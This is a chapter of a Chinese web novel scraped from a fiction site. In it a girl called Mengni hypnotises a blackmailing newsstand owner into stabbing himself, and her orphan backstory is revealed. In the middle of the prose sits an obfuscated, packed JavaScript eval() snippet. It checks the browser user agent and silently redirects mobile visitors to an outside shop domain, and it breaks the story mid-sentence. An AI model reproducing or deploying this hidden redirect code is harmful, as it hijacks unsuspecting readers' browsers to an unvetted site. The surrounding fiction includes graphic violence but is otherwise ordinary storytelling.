文趣网 > 其他小说 > 恶魔哥控的禁果 > 14. 孤儿
    理查德坐在马车里翻着书册。

    车夫停稳马车,掀起车帘,探头进来小声问:“少爷,梦妮小姐又进茶花馆了,您今日还跟吗?”

    理查德鼻梁孤傲挺直,深蓝的眼眸浮起一丝不耐:“一个养女而已,若是每次都将她送上楼,倒时候不得养成刁蛮的性子。”

    车夫识趣地缩回头:“那少爷,我们是回庄园还是……”

    理查德掀开车帘瞥了一眼那栋爬满山茶花藤的小楼。

    女人就是女人,总养一些不实用的爱好。

    他什么也看不见。临街包房的窗户被阳台盛开的花朵遮掩。但他知道梦妮就坐在那间房内喝茶插花。

    他是什么时候决定给梦妮与他相处机会的?

    大概是他去参观精英堂的那次,他远远看见了阿斯泰尔殿下,殿下不仅和梦妮的哥哥长得一样,那枚演讲赛的勋章也佩戴在殿下胸前。

    他瞬时想明白梦妮就是王室的养女。

    过了十五岁的加冕礼,家族要帮他提前订好联姻对象。他觉得这世上,恐怕只有梦妮的身份才配得上他。

    他放下帘子,冷哼:“去街角的铁匠铺转转有没有什么好剑。”

    进入二楼包间,梦妮快速地打开衣柜,将黑发盘起来,挑了一顶带帽沿的帽子压住。

    贝丝耳朵贴在门上,确定门外没有异常动静后才转身。

    梦妮已经脱下身上昂贵的衣裙,套上衬衫夹克。她配了条黑色长裤,看起来活脱脱像个卖报的少年。

    她正要打开衣柜后的暗门,贝丝压着声音道:“小姐不用着急,殿下今日有事要处理,不会回来。”

    梦妮动作顿了一下,但眼里却没有失落。

    她早就习惯了。

    阿斯泰尔当初虽答应她三年后再搬离,可却有一半的时间留宿在主殿。她刚开始被他忙碌的借口骗过。渐渐地,她便明白,他在躲她。

    她开始暗地寻找前世她手底下的那名大将。

    毕竟控制阿斯泰尔,并不需要大动干戈,只需要可以抗衡王宫守卫的暗卫队。

    她向阿斯泰尔申请每个月一天到埃塞拉城里逛逛。他同意了,但她每次都必须在日落前赶回去。

    茶花馆是她买通的掩护所,每次她都要先甩开护送的护卫。

    梦妮什么都没说,一头钻进了暗道。

    梦妮压低帽檐,在街道中穿梭,最终停在一座看起来有些破旧的报刊亭前。

    报刊亭挤在两座石楼的夹缝中,墙角的木架已经发黑腐烂。

    浓重的纸霉味让梦妮忍不住凝眉。

    她随手捡起一本看起来还比较新的杂志,朝刊主砸过去。

    杂志尖锐的一角砸中他翘在桌面的脚背。

    “哎呦!”刊主猛地缩回脚,坐直身体。

    摇摇欲坠的躺椅在他身下发出吱呀吱呀的求救声。

    他揉着脚背抬头,睡意还没完全褪干净,眯着眼看清来人,怒意瞬间消失:“我说是谁啊,原来是财神爷来了!”

    “别废话,那个人的消息呢?”

    梦妮前世手底下最有能力的大将叫杰克。

    他同样是名混血,但模样更偏向天使。

    她第一次见到他时,是在贵族地下的斗兽场,她并不是专门去拯救他们的,而是去找能救活阿斯泰尔的秘方。

    她本对杰克没有任何印象。

    可他倔强地一直追随她,强调她如何解救了他,并不停地把报恩挂在嘴边。

    这才能让她想起,该如何找到他。

    但奇怪的是,她派人暗地找遍所有斗兽场,至今未找到杰克的下落。

    梦妮怀疑自己找错了方向。

    能被卖到斗兽场的人,她或许应该派人去贫民窟调查。

    于是她想起自己第一个用禁果控制住的人,就是一个向贵族贩卖恶魔孩童的刊主。他既有资源可以帮她打探贫民窟的消息,摊位的选址本身也足够隐蔽。

    “消息倒是有,”接头人挠了挠那团不知多久没洗的头发,“就是恩典……”

    梦妮不想和他废话:“多少?”

    他伸出五个手指。

    “五百?”

    接头人摇了摇头:“五十万。”

    梦妮眼底温度一下变冷,她勾了勾唇,一句话没说便转身离去。

    三十恩典就足够一个平民正常开销度过一个月。

    虽然阿斯泰尔从不吝啬她花钱,可一条消息被加价到五十万。

    她也不是傻子。

    眼见买卖不成,接头人立即抓住她的胳膊。

    梦妮回头,目光落在自己被碰到的地方。

    手掌像被冰锥刺穿,接头人也狠了神色,他压低声音:“梦妮小姐,这可不仅仅是消息的价格。”

    她听到自己的名字,黑眸沉下来。

    接头人松开手,后退一步,双手撑在纸堆上。

    “我总觉得……小姐您这双黑眼睛,我好像在哪里见过。”

    他停顿一下,像是等她追问。

    但她没开口,他就继续道:“我想啊想,终于想起来——”

    “多年前,我帮一个父母双亡的混血宣传过悲惨身世。后来她成为了王室的养女。”

    刊主直起身,耸耸肩:“听起来像个感人的故事吧?可我是做生意的,怎么会无缘无故帮一个没钱的可怜虫呢?”

    他嘴角上扬,挑眉:“梦妮小姐一定采用了什么见不得光的手段吧?”

    面对他的威胁,梦妮飞快地扫了眼身后的街道。

    只有三三两两经过的路人。

    她垂下眼,拍了拍衬衫上的灰尘,状似不经意问道:“五十万,一起买断?”

    刊主听她松口,故作沉思地顿了一下。

    然后,他抬起头,无辜地眨眨眼:“梦妮小姐,买断的话,恐怕需要五百万。”

    梦妮黑眸中没有任何波动,像是在看一个将死之人。

    她平静地点点头:“这么多恩典我一下可拿不出来,得叫我的守卫回王宫去取。”

    男人的目光在她身后搜了一圈。

    没有守卫的影子。

    但她的话提醒了他,他放她回去,无异于放虎归山,她暗中叫人把他处理了怎么办?

    他微微一笑,放轻声音:“小姐还是跟我回室内写封信,我派人送到王宫去。”

    他看见她眼里浮起一丝防备,伸出三个手指举在脸侧:“我向上帝发誓,拿了恩典后,我一定告诉您要找的人在哪,然后永远滚出埃塞拉。”

    接头人如愿以偿带着梦妮进入巷子的屋内。

    她坐在桌前,低头认真地写字,笔尖在纸

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17887031|212582||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    面时不时停顿,像是在组织措辞。

    他靠着门边盯了她一会儿,露出一抹冷笑。

    果然就是个丫头片子。他说什么她都信,他要多少她都给,要是真有上帝,他也不会被追债的人砍掉一根手指。

    “我想喝口水。”梦妮忽然抬起头。

    他看她一眼。

    周围没有武器,屋里也没有窗户。她要耍小聪明,他一只手就能将她提起摔到地上,让她无法动弹。

    想象以后在埃塞拉有个取之不尽的钱袋,他好心情地提起那只长满水垢的烧水壶,替她烧了一壶水。

    十几分钟而已,他转过身,便见她从靴子内侧拔出匕首,直勾勾地盯着他,朝他走来。

    她的黑眸闪着异光。

    几乎只是一眼,接头人就浑身不能动弹。

    梦妮嘴角禁果红紫的汁水,看起来像刚啃食生肉流下的血水。

    “你欠了很多钱,被逼得走投无路,只好自尽。”

    她像魔鬼一般对着接头人喃喃低语。

    男人松开水壶。

    滚烫的开水倾倒在他的脚背上,他却毫无知觉。

    他痴痴地接过梦妮手中的匕首,将锋利的刀刃架在自己脖子上。

    鲜血立即染红刀面。

    男人眼中闪过痛苦的挣扎。

    梦妮顿然耳鸣,她后退几步,摇了摇头。

    男人却在此时清醒一瞬,他瞪大双眼,惊恐地看着手中差点割破喉咙的刀。

    “快杀了你自己。”梦妮咬牙,继续下命令。

    男人一刀捅进胸膛。

    刀割的疼痛让男人再次醒来,他慌乱地拔出匕首。

    热血喷涌而出,溅到梦妮脸上。

    他捂着伤口踉跄跑到外面,大声呼救。

    梦妮头痛得像有东西在颅骨里面翻搅,她拔下帽檐的别针,用力扎进手臂,让那股刺痛帮助她保持清醒,然后追着出去。

    她不能让他活下来。

    她跨出房门时,往事在她脑海里翻涌。

    贫民窟那么多孩子,为什么偏偏是她被挑中?

    因为只有她被阿斯泰尔救下后,盯上了每个礼拜都会到贫民窟做交易的刊主。

    她当时不知手心里长出的果子能催眠,直到刊主顺着她的心意将王室的消息一字不漏地告诉了她。所以,她比贫民窟很多人先知道——王上要推行天使与恶魔平等的政策,需要领养一个孩子作为和平的象征。

    那天她被雨完全淋湿,却异常高兴。

    她怀里抱着给摊贩洗碗挣得的面包回到家时,父母正大吵大闹。

    平常母亲总是不吭声,今日仿佛是受够了,大声地哭喊。就连醉酒的父亲平白无故地将她踹倒,母亲也终于有了反应,质问他为什么要打孩子。

    梦妮的嘴磕破了,满口的铁锈味。

    但她没管。

    她抱紧面包偷溜回自己那个仿佛狗笼一样的房间,蜷着身子在锅碗瓢盆的摔打声中闭上了眼。

    她再醒来时,她的父母死了。

    母亲倒在桌角边,血水干涸在她半张脸上。而她满身酒臭的父亲,脸埋在门外的水沟里,一动不动。

    梦妮在雨中站了一会儿,直接去找了刊主。

    她需要所有人知道,她现在是个无父无母的可怜孤儿。